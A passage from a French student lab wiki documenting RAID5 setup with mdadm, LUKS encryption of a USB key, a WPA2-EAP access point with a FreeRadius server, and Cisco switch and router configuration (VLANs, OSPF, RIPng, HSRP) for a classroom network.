On fait pointer le système de fichiers sur nos 3 disques. &lt;br /&gt;
&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d1&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d2&lt;br /&gt;
 mke2fs /dev/virtual/ima2a5-zerofun-d3&lt;br /&gt;
&lt;br /&gt;
'''Mise à jour du fichier de config de la VM'''&lt;br /&gt;
&lt;br /&gt;
On met a jour le fichier de config de la VM&lt;br /&gt;
&lt;br /&gt;
 root        = '/dev/xvda2 ro'&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                ''''phy:/dev/virtual/ima2a5-zerofun-d1,xvdb3,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d2,xvdb4,w',&lt;br /&gt;
                'phy:/dev/virtual/ima2a5-zerofun-d3,xvdb5,w','''&lt;br /&gt;
              ]&lt;br /&gt;
'''Utilisation de l'utilitaire mdadm pour la gestion du RAID5'''&lt;br /&gt;
&lt;br /&gt;
On retourne sur la VM et on installe mdadm. Cet utilitaire&lt;br /&gt;
 apt-get install mdadm&lt;br /&gt;
&lt;br /&gt;
'''Construction du volume RAID'''&lt;br /&gt;
&lt;br /&gt;
 # mdadm --create /dev/md0 --level=5  --raid-devices=3 /dev/xvdb3 /dev/xvdb4 /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
result:&lt;br /&gt;
 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
'''Démonisation du volume RAID'''&lt;br /&gt;
On va maintenant démoniser le volume RAID, c'est à dire faire en sorte que le système charge le volume à chaque démarrage. &lt;br /&gt;
 # mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Formatage du volume RAID'''&lt;br /&gt;
Enfin, on formate le volume.&lt;br /&gt;
 # mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
'''Informations sur notre RAID5'''&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet d'obtenir des informations sur notre volume fraîchement crée. &lt;br /&gt;
&lt;br /&gt;
 root@ima2a5-zerofun:~# mdadm --detail /dev/md0&lt;br /&gt;
 /dev/md0:&lt;br /&gt;
        Version : 1.2&lt;br /&gt;
  Creation Time : Thu Nov 28 16:56:26 2019&lt;br /&gt;
     Raid Level : raid5&lt;br /&gt;
     Array Size : 2095104 (2046.00 MiB 2145.39 MB)&lt;br /&gt;
  Used Dev Size : 1047552 (1023.00 MiB 1072.69 MB)&lt;br /&gt;
   Raid Devices : 3&lt;br /&gt;
  Total Devices : 3&lt;br /&gt;
    Persistence : Superblock is persistent&lt;br /&gt;
    Update Time : Sun Dec  1 01:00:45 2019&lt;br /&gt;
          State : clean &lt;br /&gt;
 Active Devices : 3&lt;br /&gt;
 Working Devices : 3&lt;br /&gt;
 Failed Devices : 0&lt;br /&gt;
  Spare Devices : 0&lt;br /&gt;
         Layout : left-symmetric&lt;br /&gt;
     Chunk Size : 512K&lt;br /&gt;
           Name : ima2a5-zerofun:0  (local to host ima2a5-zerofun)&lt;br /&gt;
           UUID : d0b2e2f1:c1298ca0:c684c1ec:b711b7f0&lt;br /&gt;
         Events : 23&lt;br /&gt;
    Number   Major   Minor   RaidDevice State&lt;br /&gt;
       0     202       19        0      active sync   /dev/xvdb3&lt;br /&gt;
       1     202       20        1      active sync   /dev/xvdb4&lt;br /&gt;
       3     202       21        2      active sync   /dev/xvdb5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Avec &lt;br /&gt;
 #fdisk -l &lt;br /&gt;
on voit nos 3 disques de 1Go et le volume du RAID5 (md0) qui vaut 2 Go, ce qui est logique car seuls 2 tiers de l'espace disponible seront utilisés pour le stockage. Le tiers restant est destiné à la parité.&lt;br /&gt;
 '''Disk /dev/xvdb3: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 '''Disk /dev/xvdb4: 1 GiB, 1073741824 bytes, 2097152 sectors'''&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/xvdb5: 1 GiB, 1073741824 bytes, 2097152 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 512 bytes / 512 bytes&lt;br /&gt;
 Disk /dev/md0: 2 GiB, 2145386496 bytes, 4190208 sectors&lt;br /&gt;
 Units: sectors of 1 * 512 = 512 bytes&lt;br /&gt;
 Sector size (logical/physical): 512 bytes / 512 bytes&lt;br /&gt;
 I/O size (minimum/optimal): 524288 bytes / 1048576 bytes&lt;br /&gt;
&lt;br /&gt;
Il ne reste qu'à modifier le fichier /etc/fstab pour que le système de fichier monte au démarrage.&lt;br /&gt;
 # nano /etc/fstab&lt;br /&gt;
 &lt;br /&gt;
 # /etc/fstab: static file system information.&lt;br /&gt;
 #&lt;br /&gt;
 # &amp;lt;file system&amp;gt; &amp;lt;mount point&amp;gt;   &amp;lt;type&amp;gt;  &amp;lt;options&amp;gt;       &amp;lt;dump&amp;gt;  &amp;lt;pass&amp;gt;&lt;br /&gt;
 proc            /proc           proc    defaults        0       0&lt;br /&gt;
 devpts          /dev/pts        devpts  rw,noexec,nosuid,gid=5,mode=620 0  0&lt;br /&gt;
 /dev/xvda1 none swap sw 0 0&lt;br /&gt;
 /dev/xvda2 / ext4 noatime,nodiratime,errors=remount-ro 0 1&lt;br /&gt;
 /dev/xvdb1		/home		ext4		defaults				0		2&lt;br /&gt;
 /dev/xvdb2		/var		ext4		defaults				0		2&lt;br /&gt;
 '''/dev/md0		/media/raid	ext4		defaults				0		1'''&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
Et puis évidemment, il faut créer le dossier dans lequel sera monté le contenu du volume RAID.&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
On désire crypter des fichiers contenus sur une clé USB, c'est à dire la rendre illisible sauf pour celui qui détient le mot de passe. &lt;br /&gt;
&lt;br /&gt;
Dans un premier temps on installe le package qui va nous permettre de crypter la clé USB:&lt;br /&gt;
&lt;br /&gt;
 apt-get install lvm2 cryptsetup&lt;br /&gt;
&lt;br /&gt;
On affiche les périphériques USB disponibles:&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
Attention ces étapes ont pour but de supprimer le contenu de la clé USB:&lt;br /&gt;
&lt;br /&gt;
 fdsik /dev/sda&lt;br /&gt;
 d //permet de supprimer les partitions &lt;br /&gt;
 w // on sauvegarde les modifications &lt;br /&gt;
 n // on crée une nouvelle partition&lt;br /&gt;
 p // pour la rendre primaire &lt;br /&gt;
 1 // on lui donne un numéro de partition &lt;br /&gt;
&lt;br /&gt;
On garde le volume du disque par défaut proposé. &lt;br /&gt;
&lt;br /&gt;
La clé USB est maintenant prête à être chiffrée grâce au package précédemment téléchargé&lt;br /&gt;
&lt;br /&gt;
Chiffrage du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup luksFormat -c aes -h sha256 /dev/sda1&lt;br /&gt;
  &lt;br /&gt;
Ouverture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup open --type luks /dev/sda1 home&lt;br /&gt;
 &lt;br /&gt;
Création du système de fichiers&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/mapper/home&lt;br /&gt;
&lt;br /&gt;
Montage du périphérique&lt;br /&gt;
&lt;br /&gt;
 mount -t ext4 /dev/mapper/home /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Démontage physique du périphérique&lt;br /&gt;
&lt;br /&gt;
 umount /mnt/cle_usb&lt;br /&gt;
&lt;br /&gt;
Fermeture sécurisée du périphérique&lt;br /&gt;
&lt;br /&gt;
 cryptsetup close --type luks home&lt;br /&gt;
&lt;br /&gt;
==Sécurisation wifi par WPA2-EAP==&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous avons suivi le travail de Jorge, en adaptant pour notre groupe. &lt;br /&gt;
&lt;br /&gt;
Dans le CISCO : &lt;br /&gt;
&lt;br /&gt;
'''Création du serveur radius'''&lt;br /&gt;
&lt;br /&gt;
 radius-server host 193.48.57.161 auth-port 1812 acct-port 1813 key glopglop&lt;br /&gt;
&lt;br /&gt;
'''Définir le groupe de serveur AAA'''&lt;br /&gt;
&lt;br /&gt;
 aaa group server radius radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Association du groupe de serveur et du serveur de la VM'''&lt;br /&gt;
&lt;br /&gt;
 server 193.48.57.161 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
'''Définition du login et du groupe de serveur'''&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_ima2a5-zerofun group radius_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Définition du SSID'''&lt;br /&gt;
&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun                                &lt;br /&gt;
 vlan num_vlan&lt;br /&gt;
 authentication open eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication network-eap eap_ima2a5-zerofun  &lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration du Vlan'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 encryption vlan 2 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Création d'une sous interface'''&lt;br /&gt;
 &lt;br /&gt;
interface dot11Radio0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
''' '''&lt;br /&gt;
 interface gigabite0.2&lt;br /&gt;
 encapsulation dot1Q 2&lt;br /&gt;
 bridge-group 2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Ajout SSID dans l'interface Dot11Radio0'''&lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
'''Rendre visible le SSID'''&lt;br /&gt;
 &lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 mbssid&lt;br /&gt;
 dot11 ssid SSID_ima2a5-zerofun&lt;br /&gt;
 mbssid guest-mode &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 exit&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 reload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Serveur FreeRadius==&lt;br /&gt;
L'objectif d'un serveur Radius est de centraliser tous les utilisateurs sur un seul et unique serveur&lt;br /&gt;
&lt;br /&gt;
 # ssh @193.48.57.161&lt;br /&gt;
 &lt;br /&gt;
'''Installation de freeradius'''&lt;br /&gt;
On commence par installer le logiciel freeradius sur la VM&lt;br /&gt;
&lt;br /&gt;
 # apt-get install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/freeradius/3.0/users, on ajoute nos utilisateurs : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password :=&amp;quot;glopglop&amp;quot;&lt;br /&gt;
 apache Cleartext-Password :=&amp;quot;capitaine&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
&lt;br /&gt;
Et dans /etc/freeradius/3.0/mods-enabled/mschap :&lt;br /&gt;
&lt;br /&gt;
use_mppe = yes&lt;br /&gt;
require_encryption = yes&lt;br /&gt;
require_strong = yes&lt;br /&gt;
with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
Enfin, on ajoute la borne à la liste des clients : &lt;br /&gt;
 client access-point {                 &lt;br /&gt;
       ipaddr          = 10.60.0.100   &lt;br /&gt;
       secret          = glopglop      &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Et on relance FreeRadius&lt;br /&gt;
&lt;br /&gt;
 service freeradius restart&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
